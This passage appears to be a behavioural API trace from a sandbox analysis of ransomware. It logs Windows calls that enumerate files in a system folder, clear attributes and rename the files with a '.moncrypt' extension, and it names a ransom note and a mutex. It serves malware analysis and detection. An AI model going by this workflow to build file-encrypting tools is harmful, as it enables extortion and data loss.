WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", cchWideChar=52, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlbe", lpUsedDefaultChar=0x0) returned 52 [0056.790] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msado27.tlbe", lpUsedDefaultChar=0x0) returned 4 [0056.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 0x54e200 [0056.790] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.790] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.790] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", dwFileAttributes=0x20) returned 0 [0056.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.moncrypt")) returned 0 [0056.791] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0056.791] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.791] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.791] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.791] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.791] GlobalUnlock (hMem=0x44000c) returned 0 [0056.792] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.792] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.792] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.792] GlobalUnlock (hMem=0x44000c) returned 0 [0056.792] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.792] GlobalUnlock (hMem=0x440004) returned 0 [0056.792] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.792] CharLowerBuffW (in: lpsz="msado28.tlb", cchLength=0xb | out: lpsz="msado28.tlb") returned 0xb [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", cchWideChar=52, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlbe", lpUsedDefaultChar=0x0) returned 52 [0056.793] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.793] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msado28.tlbe", lpUsedDefaultChar=0x0) returned 4 [0056.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 0x54e200 [0056.793] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.793] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.793] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", dwFileAttributes=0x20) returned 0 [0056.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.moncrypt")) returned 0 [0056.794] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0056.794] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.794] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.794] GlobalLock (hMem=0x440004) returned 0x550170 [0056.794] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.794] GlobalUnlock (hMem=0x440004) returned 0 [0056.794] GlobalLock (hMem=0x440004) returned 0x550170 [0056.794] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.794] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.794] GlobalUnlock (hMem=0x440004) returned 0 [0056.794] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.794] GlobalUnlock (hMem=0x44000c) returned 0 [0056.794] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.794] CharLowerBuffW (in: lpsz="msadomd.dll", cchLength=0xb | out: lpsz="msadomd.dll") returned 0xb [0056.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll", cchWideChar=52, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dlle", lpUsedDefaultChar=0x0) returned 52 [0056.795] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll\\msadomd.dlle", lpUsedDefaultChar=0x0) returned 4 [0056.795] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0056.795] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.795] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.795] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.795] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.795] GlobalUnlock (hMem=0x44000c) returned 0 [0056.795] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.795] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.795] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.795] GlobalUnlock (hMem=0x44000c) returned 0 [0056.795] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.795] GlobalUnlock (hMem=0x440004) returned 0 [0056.795] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.796] CharLowerBuffW (in: lpsz="msadomd28.tlb", cchLength=0xd | out: lpsz="msadomd28.tlb") returned 0xd [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlbc", lpUsedDefaultChar=0x0) returned 54 [0056.796] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msadomd28.tlbc", lpUsedDefaultChar=0x0) returned 4 [0056.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 0x54e200 [0056.797] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.797] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.797] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", dwFileAttributes=0x20) returned 0 [0056.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.moncrypt")) returned 0 [0056.804] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, 